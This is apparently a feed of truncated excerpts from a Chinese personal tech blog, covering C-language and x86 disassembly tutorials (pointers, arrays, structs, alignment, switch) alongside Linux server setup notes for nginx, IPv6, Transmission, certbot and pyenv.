Point* p = (Point*)arr;
for(int i = 0;i < 5;i++,p++)
{
 printf("%d %d\n",p->x,p->y);
}

C语言19 指针取值的两种方式

luodaoyi@gmail.com (luodaoyi) — Wed, 17 Jan 2018 06:03:00 +0000

一级指针和多级指针

int i =100;
int* p1 = &i; 
int** p2 = &p1; 
int*** p3 = &p2; 
int**** p4 = &p3; 
int***** p5 = &p4 
int****** p6 = &p5; 
int******* p7 = &p6;
int****** px1 = *(p7);
int***** px2 = *(px1);
int**** px3 = *(px2);
int*** px4 = *(px3);
int** px5 = *(px4);
int* px6 = *(px5);
int px7 = *(px6);
int px7 = *(*(*(*(*(*(*(p7)))))));

*()与[]的互换表示

int* p = (int*)1;
printf("%d %d \n",p[0],*p);  //p[0] = *(p+0) = *p 
int** p = (int**)1;
printf("%d %d \n",p[0][0],**p); 
printf("%d %d \n",p[1][2],*(*(p+1)+2));
int*** p = (int***)1;
printf("%d %d \n",p[1][2][3],*(*(*(p+1)+2)+3)); 
同理：
*(*(*(*(*(*(*(p7)))))))) 
= *(*(*(*(*(*(p7+0)+0)+0)+0)+0)+0)
= p7[0][0][0][0][0][0][0]

总结

*(p+i) = p[i] 
*(*(p+i)+k) = p[i][k] 
*(*(*(p+i)+k)+m) = p[i][k][m] 
*(*(*(*(*(p+i)+k)+m)+w)+t) = p[i][k][m][w][t] 
*() 与 []可以相互转换

C语言18 指针与字符串

luodaoyi@gmail.com (luodaoyi) — Mon, 15 Jan 2018 09:20:00 +0000

字符串的几种表示方式有什么区别?

char str[6] = {"A","B","C","D","E","F"}; //"\0" 或者0 --堆栈中 局部变量
char str[] = "ABCDE"; //编译器末尾填0 常量区
char* str= "ABCDE"; //常量区
//打印
printf("%s \n",str);
//字符串打印时 遇到 0 才会停止

常用的字符串函数

1、int strlen(char* s)
返回值是字符串S的长度，不包括结束符"/0"
弊端：字符串中英文混合的话。返回的长度有问题，因为中文占用两个字节
2、char* strcpy(char* dest, char* src)
复制字符串src到dest中。返回指针为dest的值
3、char* strcat(char* dest, char* src)
将字符串src添加到dest尾部。返回指针为dest的值
4、int strcmp(char* s1, char* s2)
字符串对比，一样返回0 不一样返回非0

指针函数

本质就是函数，只不过函数的返回类型是某一类型的指针
如：

C语言17 数组参数传递

luodaoyi@gmail.com (luodaoyi) — Sun, 14 Jan 2018 14:37:00 +0000

基本类型参数传递

int x =1;
void plus(int p)
{
 p = p+1;
}
printf("%d \n",x);
//x的值是多少？

数组作为参数

编写一个函数，能够打印任意整形数组的值

void PrintArray(int arr[],int nLength)
{

C语言16 取值运算符

luodaoyi@gmail.com (luodaoyi) — Fri, 12 Jan 2018 22:52:00 +0000

“*”的几种用途

乘法运算符

int x = 1; int y = 2; int z = x * y;
定义新的类型

char x; char* x;
取值运算符
- - 指针类型的变量 int* a =(int*)1; printf("%x \n",(a +1)); 10: int a =(int*)1; 00401028 mov dword ptr [ebp-4],1 11: printf("%x \n",*(a +1)); 0040102F mov eax,dword ptr [ebp-4] 00401032 mov ecx,dword ptr [eax+4] 00401035 push ecx 00401036 push offset string "%x \n" (0042201c) 0040103B call printf (00401070) 00401040 add esp,8 当然这里运行的时候肯定出错因为 1 是一个异常的不存在的地址

探测 * 指针类型的类型

int*** a;
int***** b;
int******* c;
int* d;
//int x = *(a+1);
//int x = *(b++);
//int x = *(c-5);
//int x = *(d+6);
//总结
// *加指针类型 的类型是 指针类型减去一个*

取值运算符举例

int x=1; int x =1;
int* p = &x; int* p = &x;
printf("%x %x \n",p,*(p)); int** p2 = &p;
*(p)=2; int*** p3 = &p2;
printf("%d \n",x); int r = *(*(*(p3)));
 printf("%d \n",r);

C语言15 取地址符号&的使用

luodaoyi@gmail.com (luodaoyi) — Fri, 12 Jan 2018 12:53:00 +0000

&符号是取地址符，任何变量都可以使用&来获取地址，但不能用在常量上

struct Point
{
 int x;
 int y;
};
char a;
short b;
int c;
Point p;
printf("%p %p %p %p \n",&a,&b,&c,&p);
printf("%x %x %x %x \n",&a,&b,&c,&p);
printf("%x \n",&10);
16: char a;
17: short b;
18: int c;
19: Point p;
20:
21: printf("%p %p %p %p \n",&a,&b,&c,&p);
0040D408 lea eax,[ebp-14h]
0040D40B push eax
0040D40C lea ecx,[ebp-0Ch]
0040D40F push ecx
0040D410 lea edx,[ebp-8]
0040D413 push edx
0040D414 lea eax,[ebp-4]
0040D417 push eax
0040D418 push offset string "%p %p %p %p \n" (00422e90)
0040D41D call printf (0040d6c0)
0040D422 add esp,14h
22: printf("%x %x %x %x \n",&a,&b,&c,&p);
0040D425 lea ecx,[ebp-14h]
0040D428 push ecx
0040D429 lea edx,[ebp-0Ch]
0040D42C push edx
0040D42D lea eax,[ebp-8]
0040D430 push eax
0040D431 lea ecx,[ebp-4]
0040D434 push ecx
0040D435 push offset string "%x %x %x %x \n" (00422e80)
0040D43A call printf (0040d6c0)
0040D43F add esp,14h

探测 & 变量的类型

char a;
short* b;
int** c;
int x = &a;
int x = &b;
int x = &c;
以上代码全都无法编译成功

说明使用了 &符号后将会生成 &符号后类型的指针(加一个*)

C语言14 指针类型

luodaoyi@gmail.com (luodaoyi) — Wed, 10 Jan 2018 23:11:00 +0000

C语言14 指针类型

指针是C语言中的一种数据类型，

定义带 *类型的变量

char x; char* x;
short y; short* y;
int z; int* z;
float f; float* f;
double d; double* d;
Student st; Student* st;

总结:

任何带有*的变量类型的标准写法：变量类型* 变量名
任何类型都可以带* 加上* 以后是新的类型，统称为“指针类型”
*可以使任意多个。

指针变量赋值

char* x; char*** x; char******* x;
short* ~~
int* ~~
Student* ~~
x = (char*)1;
y = (short*)2;
int******* x;
int******* y;
x = (int*******)4;
y = x;
char x;
x = 1;

指针变量的宽度

char x; char* x; char******** x;
short y; short* y; short******** y;
~~
x=1; x=(char*)1; x=(char********)1;
~~
9: char* x;
10: short* y;
11: int* z;
12:
13: x = (char*)1;
00401028 C7 45 FC 01 00 00 00 mov dword ptr [ebp-4],1
14: y=(short*)2;
0040102F C7 45 F8 02 00 00 00 mov dword ptr [ebp-8],2
15: z=(int*)3;
00401036 C7 45 F4 03 00 00 00 mov dword ptr [ebp-0Ch],3
9: char******** x;
10: short******** y;
11: int******** z;
12:
13: x = (char********)1;
00401028 C7 45 FC 01 00 00 00 mov dword ptr [ebp-4],1
14: y=(short********)2;
0040102F C7 45 F8 02 00 00 00 mov dword ptr [ebp-8],2
15: z=(int********)3;
00401036 C7 45 F4 03 00 00 00 mov dword ptr [ebp-0Ch],3

总结：
指针类型的变量宽度永远是4字节、无论类型是什么无论有几个*。

Online.net 的ubuntu增加ipv6地址

luodaoyi@gmail.com (luodaoyi) — Wed, 10 Jan 2018 01:49:00 +0000

官方教程有问题

这里总结下，省的下次又不会配了

配置 ipv6 block

打开 https://console.online.net/en/network/ 创建子网

配置仓储地址

编辑 sources.list

sudo vim /etc/apt/sources.list

在末尾增加dhcp6的源地址

#DHCP6 Client
deb http://httpredir.debian.org/debian experimental main

然后创建 apt 偏好文件

sudo vim /etc/apt/apt.conf.d/99defaultrelease

这里 14.04填写

APT::Default-Release "jessie";

16.04填写

APT::Default-Release "xenial";

更新apt源

sudo apt update
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 8B48AD6246925553
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 7638D0442B90D010

安装设置DHCP6 客户端

sudo apt-get install odhcp6c

然后测试命令

HttpClient缺陷引起的无法连接到远程服务器通常每个套接字地址只允许使用一次

luodaoyi@gmail.com (luodaoyi) — Mon, 08 Jan 2018 11:28:00 +0000

上周又遇到了坑爹问题，具体表现为服务端接口全部调用失败。
排查日志发现，有大量的错误日志为

System.Net.Http.HttpRequestException: 发送请求时出错。 ---> System.Net.WebException: 无法连接到远程服务器 ---> System.Net.Sockets.SocketException: 通常每个套接字地址(协议/网络地址/端口)只允许使用一次。 xxxxx.xx:6666
 在 System.Net.Sockets.Socket.EndConnect(IAsyncResult asyncResult)
 在 System.Net.ServicePoint.ConnectSocketInternal(Boolean connectFailure, Socket s4, Socket s6, Socket& socket, IPAddress& address, ConnectSocketState state, IAsyncResult asyncResult, Exception& exception)
 --- 内部异常堆栈跟踪的结尾 ---
 在 System.Net.HttpWebRequest.EndGetRequestStream(IAsyncResult asyncResult, TransportContext& context)
 在 System.Net.Http.HttpClientHandler.GetRequestStreamCallback(IAsyncResult ar)

同时排查服务器在此时间段内有大量的TIME_WAIT连接，是平时的数倍

结构体字节对齐的练习

luodaoyi@gmail.com (luodaoyi) — Sun, 07 Jan 2018 21:57:00 +0000

分析结构体大小

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


 
 struct S1
 {
 char c1;
 double d;
 char c2;
 char c3;
 };
 struct S2
 {
 char c1;
 char c2;
 char c3;
 double d;
 };
 struct S3
 {
 char c1;
 S1 s;
 char c2;
 char c3;
 }; 

分析结构体大小

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


 #pragma pack(1)
 struct S1
 {
 char c1;
 double d;
 char c2;
 char c3;
 };
 #pragma pack()
 struct S3
 {
 char c1;
 S1 s;
 char c2;
 char c3;
 };

分析结构体大小

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


 
 #pragma pack(4)
 struct S1
 {
 char c1;
 double d;
 char c2;
 char c3;
 };
 #pragma pack()
 struct S3
 {
 char c1;
 S1 s;
 char c2;
 char c3;
 };

C语言 13 结构体数组

luodaoyi@gmail.com (luodaoyi) — Sun, 07 Jan 2018 14:02:00 +0000

结构体数组的定义

类型 变量名[常量表达式];
//定义结构体类型
struct stStudent
{
 int Age;
 int Level;
}
//定义结构体变量
struct stStudent st;
//定义结构体数组
struct stStudent arr[10];
//或者
stStudent arr[10];

结构体数组初始化

struct stStudent{
 int Age;
 int Level;
}；
struct stStudent arr[5] = {{0,0},{1,1},{2,2},{3,3},{4,4}};
//或者
arr[0].Age=100;
arr[0].Level=100;

结构体成员的使用

格式 :

结构体数组名[下标].成员名
arr[0].Age = 10;

字符串成员的处理

struct stStudent{
 int Age;
 char Name[0x20];
}
struct stStudent arr[3] = {{0,"张三"},{1,"李四"},{2,"王五"}};
//读
char buffer[0x20];
strcpy(buffer,arr[0].Name);
//写
strcpy(arr[0].Name,"王钢蛋");

结构体数组的内存结构

struct stStudent{
 int Age;
 char Name[0x20];
}
struct stStudent arr[3] = {{0,"张三"},{1,"李四"},{2,"王五"}};
int x = arr[0].Age;

C语言12 字节对齐

luodaoyi@gmail.com (luodaoyi) — Sun, 07 Jan 2018 10:19:00 +0000

#include
char x;
short y;
int check()
{
 x =1;
 y=2;
 return 0;
}
int main(int argc, char* argv[])
{
 check();
 system("pause");
 return 0;
}
//上述代码中 check 函数的反汇编
13: x =1;
00401038 C6 05 E2 55 42 00 01 mov byte ptr [x (004255e2)],1
14: y=2;
0040103F 66 C7 05 E0 55 42 00 mov word ptr [y (004255e0)],offset check+26h (00401046)
//下面将y的类型改为 int
#include
char x;
int y;
int check()
{
 x =1;
 y=2;
 return 0;
}
int main(int argc, char* argv[])
{
 check();
 system("pause");
 return 0;
}
//上述代码中 check 函数的反汇编
13: x =1;
00401038 C6 05 E4 55 42 00 01 mov byte ptr [x (004255e4)],1
14: y=2;
0040103F C7 05 E0 55 42 00 02 mov dword ptr [y (004255e0)],2

我们发现，x跟y都是全局变量，但是它们的地址却不不是连续的.

C语言11 结构体

luodaoyi@gmail.com (luodaoyi) — Wed, 03 Jan 2018 14:22:00 +0000

思考：

当需要一个容器能够存储1个字节，你会怎么做？ //char
当需要一个容器能够存储4个字节，你会怎么做？ //int
当需要一个容器能够存储100个2个字节的数据，你会怎么做？ //short arr[100]

当需要一个容器能够存储5个数据，这5个数据中有1字节的，2字节的有10字节的。。。你会怎么做？？

C语言10 多维数组

luodaoyi@gmail.com (luodaoyi) — Wed, 03 Jan 2018 08:38:00 +0000

多维数组的定义

比如一个班有5个组，每个组有9个人

int arr[45] 或者 intarr[5*9] 或者 int arr[5][9]
比如一个县有5个学校，每个学校有3个年级，每个年级有4个班，每个班有5个组，每个组有9个人

int arr[53459] 或者int arr[5][3][4][5][9] int arr[5][3][4][5][9] ，又成为多维数组.

多维数组的初始化

int arr[3][4] = {
 {1,2,3,4},
 {5,6,7,8},
 {9,7,6,5}
};

多维数组的存储方式

int arr[3][4];

反汇编对比

8: int arr[3*4] = {1,2,3,4,5,6,7,8,9,10,11,12};
00401028 C7 45 D0 01 00 00 00 mov dword ptr [ebp-30h],1
0040102F C7 45 D4 02 00 00 00 mov dword ptr [ebp-2Ch],2
00401036 C7 45 D8 03 00 00 00 mov dword ptr [ebp-28h],3
0040103D C7 45 DC 04 00 00 00 mov dword ptr [ebp-24h],4
00401044 C7 45 E0 05 00 00 00 mov dword ptr [ebp-20h],5
0040104B C7 45 E4 06 00 00 00 mov dword ptr [ebp-1Ch],6
00401052 C7 45 E8 07 00 00 00 mov dword ptr [ebp-18h],7
00401059 C7 45 EC 08 00 00 00 mov dword ptr [ebp-14h],8
00401060 C7 45 F0 09 00 00 00 mov dword ptr [ebp-10h],9
00401067 C7 45 F4 0A 00 00 00 mov dword ptr [ebp-0Ch],0Ah
0040106E C7 45 F8 0B 00 00 00 mov dword ptr [ebp-8],0Bh
00401075 C7 45 FC 0C 00 00 00 mov dword ptr [ebp-4],0Ch
10: int arr[3][4] = {
11: {1,2,3,4},
00401028 C7 45 D0 01 00 00 00 mov dword ptr [ebp-30h],1
0040102F C7 45 D4 02 00 00 00 mov dword ptr [ebp-2Ch],2
00401036 C7 45 D8 03 00 00 00 mov dword ptr [ebp-28h],3
0040103D C7 45 DC 04 00 00 00 mov dword ptr [ebp-24h],4
12: {5,6,7,8},
00401044 C7 45 E0 05 00 00 00 mov dword ptr [ebp-20h],5
0040104B C7 45 E4 06 00 00 00 mov dword ptr [ebp-1Ch],6
00401052 C7 45 E8 07 00 00 00 mov dword ptr [ebp-18h],7
00401059 C7 45 EC 08 00 00 00 mov dword ptr [ebp-14h],8
13: {9,10,11,12}
00401060 C7 45 F0 09 00 00 00 mov dword ptr [ebp-10h],9
00401067 C7 45 F4 0A 00 00 00 mov dword ptr [ebp-0Ch],0Ah
0040106E C7 45 F8 0B 00 00 00 mov dword ptr [ebp-8],0Bh
00401075 C7 45 FC 0C 00 00 00 mov dword ptr [ebp-4],0Ch
14: };

通过观察我们发现，所谓多维数组和一维数组，在内存分配上完全相同

C语言9 数组

luodaoyi@gmail.com (luodaoyi) — Mon, 01 Jan 2018 16:14:00 +0000

数组的定义

数组定义的格式：

数据类型 变量名[常亮]; //为什么不能使变量？
//因为在声明的时候 编译器需要知道数组的长度，分配相应大小的内存

数组的初始化

方式1:

int arr[10] = {0,0,0,0,0,0,0,0,0,0};
方式2:

int arr[] = {1,2,3,4,5,6,7,8,9,10};

对应汇编

#include "stdafx.h"
int main(int argc, char* argv[])
{
 int age[10] = {1,2,3,4,5,6,7,8,9,10};
 return 0;
}
8: int age[10] = {1,2,3,4,5,6,7,8,9,10};
00401028 C7 45 D8 01 00 00 00 mov dword ptr [ebp-28h],1
0040102F C7 45 DC 02 00 00 00 mov dword ptr [ebp-24h],2
00401036 C7 45 E0 03 00 00 00 mov dword ptr [ebp-20h],3
0040103D C7 45 E4 04 00 00 00 mov dword ptr [ebp-1Ch],4
00401044 C7 45 E8 05 00 00 00 mov dword ptr [ebp-18h],5
0040104B C7 45 EC 06 00 00 00 mov dword ptr [ebp-14h],6
00401052 C7 45 F0 07 00 00 00 mov dword ptr [ebp-10h],7
00401059 C7 45 F4 08 00 00 00 mov dword ptr [ebp-0Ch],8
00401060 C7 45 F8 09 00 00 00 mov dword ptr [ebp-8],9
00401067 C7 45 FC 0A 00 00 00 mov dword ptr [ebp-4],0Ah
//因为在函数内。所以分配在堆栈中，这里使用的就是ebp寻址

数组的内存分配

分辨定义char/short/int 类型的数组，观察ESP中减少了多少

C语言8 循环语句

luodaoyi@gmail.com (luodaoyi) — Sat, 30 Dec 2017 04:54:00 +0000

如何实现让某些语句按照一定的条件重复执行呢？

比如：打印从0 – N的值？
例子： goto语句

#include
#include
void MyPrint(int x)
{
 int i = 0;
B:
 printf("%d\n",i);
 i++;

Ubuntu安装最新版nginx

luodaoyi@gmail.com (luodaoyi) — Fri, 29 Dec 2017 03:08:00 +0000

众所周知，Ubuntu 上官方源的更新速度一直是慢得令人发指的，很多人不得不自己编译 nginx，非常麻烦。

所以。我们直接用nginx官方源来安装。

增加源地址:

sudo vim /etc/apt/sources.list

增加nginx官方源地址:

deb http://nginx.org/packages/mainline/ubuntu/ xenial nginx
deb-src http://nginx.org/packages/mainline/ubuntu/ xenial nginx

导入key

cd
wget http://nginx.org/keys/nginx_signing.key
sudo apt-key add nginx_signing.key

卸载旧版本

sudo apt remove nginx nginx-common nginx-full nginx-core

安装官方最新版

sudo apt update
sudo apt install nginx

开启服务和设置开启启动

sudo systemctl enable nginx
sudo systemctl start nginx

查看下状态:

C语言7 switch语句为什么高效

luodaoyi@gmail.com (luodaoyi) — Thu, 28 Dec 2017 11:26:00 +0000

switch语句的定义

语法

switch(表达式)
{
 case 常亮表达式1:
 语句;
 break;
 case 常亮表达式:
 语句;
 break;
 case 常亮表达式:
 语句;
 break;
 ......
 default:
 语句;
 break;
}

需要注意的点

表达式结束不能使浮点数
case后的值不能一样
case后的值必须是常量

break:
break非常重要，当执行到一个分支后如果没有break就会继续向下执行，遇到break才跳出switch语句
default 语句与位置无关，但是当default写在其他条件的前面时。如果没有break;，就会向下继续匹配

Switch语句与 if..else语句的区别：

switch语句只能进行等值判断，而if..else可以进行区间判断
switch语句的执行效率远远高于if..else 在分支条件比较多的情况下，这种趋势愈发明显

观察switch语句的反汇编，看看switch语句为啥效率高

C语言6 运算符和表达式

luodaoyi@gmail.com (luodaoyi) — Thu, 28 Dec 2017 03:27:00 +0000

运算符与表达式

什么是运算符？什么是表达式？

int x,y;
x+y x-y x>y x==y x=y

表达式的结果

(x+y)*(x-y)
char => short => int => float => double
/*如果x和 y类型 不同，最终结果按照上面结果类型转换*/

表达式不论怎么复杂。最终只有一个结果

不同类型运算结果类型证明的例子:

void main()
{
 char x =1;
 short y = 2;
 int z = x + y;
 return
}

对应汇编片段:

mov byte ptr [ebp-4],1
mov word ptr [ebp-8],offset main+20h(00401030)
movsx eax,byte ptr [ebp-4]
movsx ecx,word ptr [ebp-8]
add eax,ecx
mov dword ptr [ebp-0Ch],eax

运算符

算术运算符

+ - * / % ++ --
加 减 乘 除 取余 自加 自减
int i = 1;

++i 和 i++

C语言常用函数

luodaoyi@gmail.com (luodaoyi) — Sun, 24 Dec 2017 12:06:00 +0000

sqrt

求给定值的平方根

sqrt() 用来求给定值的平方根，其原型为：

 double sqrt(double x);

【参数】x 为要计算平方根的值。

如果 x < 0，将会导致 domain error 错误，并把全局变量 errno 的值为设置为 EDOM。

【返回值】返回 x 平方根。

Exp:

#include
main(){
 double root;
 root = sqrt(200);
 printf("answer is %f\n", root);
}

pow

求x的y次方（次幂）

pow() 函数用来求 x 的 y 次幂（次方）,其原型为：

C语言4 -C语言整数和浮点数

luodaoyi@gmail.com (luodaoyi) — Sun, 24 Dec 2017 09:39:00 +0000

C语言数据类型

基本类型

整数类型

char、short、int、long
char 8BIT 1字节 0~0xFF
short 16BIT 2字节 0~0xFFFF
int 32BIT 4字节 0~0xFFFFFFFF
long 32BIT 4字节 0~0xFFFFFFFF

特别说明：
int 在16位计算机中与short宽度一样，在32位以上的计算机中与long相同

存储格式

char x = 1; //0000 0001 0x01
char x = -1; //1111 1111 0xFF
（反码、补码、源码规则存储）

数据溢出

char x = 0xFF; //1111 1111
char Y = 0X100; //0001 0000 0000 （char最多8位 此处溢出了）

数据溢出，是吧高位舍弃还是低位舍弃？

C语言5 -字符和字符串

luodaoyi@gmail.com (luodaoyi) — Thu, 21 Dec 2017 17:16:00 +0000

int x = 123; //补码
int float f = 123.4F; //IEEE编码
int i = "A"; //神马情况???

我们在代码中写入

int i = "A";

反编译后汇编就编程了

mov dword ptr ss:[esp-4],0x41

为什么会变成41呢？

字符类型

ASCII 表

(American Standard Code for Information Interchange 美国标准信息交换代码)
维基百科: https://zh.wikipedia.org/wiki/ASCII

字符类型

ASCII表最大 127 16进制是 0x7F 也就是只需要一个字节
一个字节就够了，所以通常我们会使用：

IIS、asp.net 中TTFB诡异的500ms时间

luodaoyi@gmail.com (luodaoyi) — Thu, 21 Dec 2017 04:02:00 +0000

最近一个H5的app做优化。我写了个转发接口。每次请求都会慢300到500ms，匪夷所思

问题发现

最近H5做了重构。
由于接口的安全原因不得不做了一个转发接口。
转发接口接受来自h5页面的http请求，解析参数，处理敏感数据，然后调用后端的api完成接口逻辑。

Online.net 服务器监控脚本

luodaoyi@gmail.com (luodaoyi) — Wed, 20 Dec 2017 16:05:00 +0000

今天的kimsufi 4C没抢到。不过这个垃圾网还不如oline的。就找了个脚本改改部署方便些

脚本

脚本使用python3.6编写，下面是脚本

需要更改的是价格。这个脚本是根据价格判断需要的服务器是否有货的

地址的话这个是官网默认的地址，如果有活动的话如果活动的界面跟这个地址的界面一样的话直接改地址就可以了

C语言3 -变量

luodaoyi@gmail.com (luodaoyi) — Sun, 17 Dec 2017 17:17:00 +0000

变量声明

变量类型变量名;

变量类型用来说明宽度是多大

int 4个字节
short 2个字节
char 1个字节

变量名的命名规则

只能以字母、数组、下划线组成，却第一个元素必须是字母或者下划线
区分大小写
不能使用C语言的关键字

全局变量

编译的时候就已经确定了内存地址和宽度，变量名就是内存地址的别名
如果不重新编译，全局变量的内存地址不管。游戏外挂中的找“基址”，其实就是找全局变量
全局变量中的值任何程序都可以改，是公用的

例子：CE搜索基址

C语言2-参数的传递与返回值

luodaoyi@gmail.com (luodaoyi) — Sun, 17 Dec 2017 08:49:00 +0000

short plus(short x,short y,short z,short m)
{
 return x+y+z+m;
}
void main() //入口程序 程序开始执行的地方
{
 //调用函数
 plus(1,2,3,4);
 return; //执行结束
}
找到plus函数的反汇编 理解每一行汇编代码 找到参数是如何传递 返回值是如何返回的

plus函数对应反汇编代码和意义

调用函数调用:

push 4
push 3
push 2
push 1
call (plus) 0041100f
add esp,10h

下面是call内部

push ebp
mov ebp,esp
sub esp,40h
以上三步都是为了提升堆栈，并且方便使用ebp寻址。并且esp在此时提升了 0x40，留下了 0x40大小的缓冲区

Ubuntu下安装Transmission 挂PT 并配置域名访问

luodaoyi@gmail.com (luodaoyi) — Sat, 02 Dec 2017 04:48:00 +0000

安装 Transmission

sudo apt-get install transmission-daemon

修改配置文件

先停止transmission

sudo service transmission-daemon stop

编辑

sudo vim /etc/transmission-daemon/settings.json
第14行修改为“dht-enabled”: false,
第15行是下载目录修改成你自己的“download-dir”: “/home/transmission/downloads”,
第20行修改为“encryption”: 2,
第23行修改为 "incomplete-dir": "/home/transmission/tmp",
第49行修改自定义的密码“rpc-password”: “123456”,
第52行修改成自定义的登录账号名称“rpc-username”: “transmission”,
第54行修改为“rpc-whitelist-enabled”: false,

建立文件夹和修改权限

sudo mkdir -p /home/transmission/downloads
sudo mkdir -p /home/transmission/tmp
sudo usermod -a -G transmission root
sudo chgrp -R transmission /home/transmission

检查目录用户组

VMware Fusion 10 Pro 序列号

luodaoyi@gmail.com (luodaoyi) — Tue, 28 Nov 2017 15:16:00 +0000

VMware Fusion 10 Pro 序列号导入虚拟机以及下载地址

VMware Fusion 10 Mac 虚拟软件已于今年10月发布。新版的VMware Fusion 10 将兼容 macOS High Sierra，同时还支持最新 MacBook Pro 上的 Touch Bar。Fusion 10 还会改进图形性能和准确性，并采用苹果 Metal 技术。

那么下面的东西将会是你喜欢的东西，如果你有能力支付昂贵的费用，还请支持正版，双十一购买会便宜点。

Nginx 反向代理nuget配置文件

luodaoyi@gmail.com (luodaoyi) — Tue, 28 Nov 2017 15:14:00 +0000

前提条件域名要解析到服务器ip上去

ubuntu16.04 安装Nginx

非常简单，因为需要喜欢内容所以装的是full版本

sudo apt update -y sudo apt install nginx-full -y

安装好之后配置好反向代理

ssl证书

我使用的是 certbot 自动获取的 Let’s Encrypt 证书

安装 certbot

sudo apt-get update -y
sudo apt-get install software-properties-common
sudo add-apt-repository ppa:certbot/certbot
sudo apt-get update -y
sudo apt-get install python-certbot-nginx -y

使用

sudo certbot --nginx

Let’s Encrypt 证书有效期很短但是certbot可以一键更新

Python 多版本共存之pyenv

luodaoyi@gmail.com (luodaoyi) — Fri, 24 Nov 2017 11:28:00 +0000

经常遇到这样的情况：

系统自带的 Python 是 2.6，自己需要 Python 2.7 中的某些特性；
系统自带的 Python 是 2.x，自己需要 Python 3.x；

此时需要在系统中安装多个 Python，但又不能影响系统自带的 Python，即需要实现
Python 的多版本共存。pyenv 就是这样一个 Python 版本管理器。

安装 pyenv

在终端执行如下命令以安装 pyenv 以及几个插件：

计算机中的运算

luodaoyi@gmail.com (luodaoyi) — Sat, 18 Nov 2017 08:26:00 +0000

计算机只认识0和1，计算机能做的运算归根结底也就是直接对0和1做运算(通常称为 位运算)

与运算

两个位都为1时，结果为1 and(&)

或运算

只要有一个为1 就是1 or(|)

异或运算

不一样的时候是1 xor(^)

非运算(单目运算)

0变1 1变0 not(~)

左移

各二进制位全部左移若干位，高位丢弃，低位补0 shl(>) 在汇编中shr补0，sar补符号位

进制和内存

luodaoyi@gmail.com (luodaoyi) — Fri, 17 Nov 2017 08:51:00 +0000

数据宽度

因为计算机受硬件制约，数据都是有长度限制的（数据宽度），超过最多宽度的数据会被丢弃

计算机中常见的数据宽度：

位(BIT) -> 一个0或1
字节(BYTE) =8位范围 0-> FF
字(Word) = 16位 0->FFFF
双字(DoubleWord) = 32位 0-FFFFFFFF

超过范围的数会被丢弃

有符号数和无符号数

有符号数还是无符号数是个人约定的

家里没公网ip的新选择

luodaoyi@gmail.com (luodaoyi) — Tue, 14 Nov 2017 03:32:00 +0000

我的就没有。。。

我办理的联通的宽带，但是小区木有联通宽带然后给弄的华数宽带

后来我发现华数宽带可以—多拨。。上下行都叠加

但是还是没有公网ip。我家里有个gen8服务器，直接装了dsm

于是找了个所谓ipv4的玩意

然后把盒子wan扣连接到路由器 lan口插到gen8的dsm上。设置双网口

MetaTrader4 mql语法简介

luodaoyi@gmail.com (luodaoyi) — Mon, 16 Oct 2017 07:21:00 +0000

基础语法

跟C++差不多懒得讲

常用函数和内置全局变量

抓取价格数据

Ask -- Double 当前K线(本货币)窗口买价
Bid -- Double 当前K线(本货币)窗口卖价
MarketInfo("GBPUSD",MODE_ASK) --Double 获取指定("GBPUSD")类型货币当前买价
MarketInfo("GBPUSD",MODE_BID) --Double 获取指定("GBPUSD")类型货币当前卖价

C语言对应汇编代码

luodaoyi@gmail.com (luodaoyi) — Sun, 24 Sep 2017 00:53:00 +0000

void main(){
 __asm
 {
 mov eax,eax
 mov eax,eax
 mov eax,eax
 mov eax,eax
 }
 return;
}
int plus(int x,int y)
{
 return 0;
}



--- C:\Project\2017_09_24\Main.cpp ------------------------------------------
1:
2: void main(){
0040D3F0 push ebp
0040D3F1 mov ebp,esp
0040D3F3 sub esp,40h
0040D3F6 push ebx
0040D3F7 push esi
0040D3F8 push edi
0040D3F9 lea edi,[ebp-40h]
0040D3FC mov ecx,10h
0040D401 mov eax,0CCCCCCCCh
0040D406 rep stos dword ptr [edi]
3: __asm
4: {
5: mov eax,eax
0040D408 mov eax,eax
6: mov eax,eax
0040D40A mov eax,eax
7: mov eax,eax
0040D40C mov eax,eax
8: mov eax,eax
0040D40E mov eax,eax
9: }
10: return;
11: }
0040D410 pop edi
0040D411 pop esi
0040D412 pop ebx
0040D413 add esp,40h
0040D416 cmp ebp,esp
0040D418 call __chkesp (0040d430)
0040D41D mov esp,ebp
0040D41F pop ebp
0040D420 ret
--- C:\Project\2017_09_24\Main.cpp ------------------------------------------
12:
13: int plus(int x,int y)
14: {
0040D470 push ebp
0040D471 mov ebp,esp
0040D473 sub esp,40h
0040D476 push ebx
0040D477 push esi
0040D478 push edi
0040D479 lea edi,[ebp-40h]
0040D47C mov ecx,10h
0040D481 mov eax,0CCCCCCCCh
0040D486 rep stos dword ptr [edi]
15: return 0;
0040D488 xor eax,eax
16: }
0040D48A pop edi
0040D48B pop esi
0040D48C pop ebx
0040D48D mov esp,ebp
0040D48F pop ebp
0040D490 ret

9.汇编-JCC

luodaoyi@gmail.com (luodaoyi) — Thu, 21 Sep 2017 15:07:00 +0000

之前可以修改EIP寄存器的指令
JMP,CALL,RETN

所有JCC指令的动作->根据标志寄存器修改EIP的值

标志寄存器 EFLAGS

CF（bit 0）[Carry flag] C位

若算术产生的结果在最高有效位(most-significant bit)发生进位或者借位则将其置1 反之清零

这个标志通常用来指示无符号证书运算的溢出状态

群辉dsm SVN迁移

luodaoyi@gmail.com (luodaoyi) — Thu, 21 Sep 2017 13:18:00 +0000

公司买了群辉nas服务器，用来备份数据和代码
之前的svn服务器用的windows，出现过数据丢失的问题，并且不够可靠。所以迁移到了nas的svn服务器
折腾了一下午，折腾出来几个方案

svn dump方案

此方案是最慢的方案，起初用了此方案，导出了只有700多次提交的一个svn仓库。
最后结论是导出满，导入他妈的更慢。并且库下面的passd和authz不会被一起导出，所以要重新配置
导出:

Markdown 语法高亮的常用语言关键字

luodaoyi@gmail.com (luodaoyi) — Wed, 20 Sep 2017 17:01:00 +0000

语言	关键字
Bash	bash
CoffeeScript	coffeescript
C++	cpp
C#	cs
CSS	css
Diff	diff
HTTP	http
lni	lni
java	java
JavaScript	javascript
JSON	json
Markfile	markfile
MarkDown	markdown
Objective-C	objectivec
Perl	perl
Python	python
ruby	ruby
SQL	sql
XML	xml
ARM汇编	armasm
AVR汇编	avrasm
MIPS汇编	mipsasm
X86汇编	x86asm
Erlang	erlang
F#	fsharp
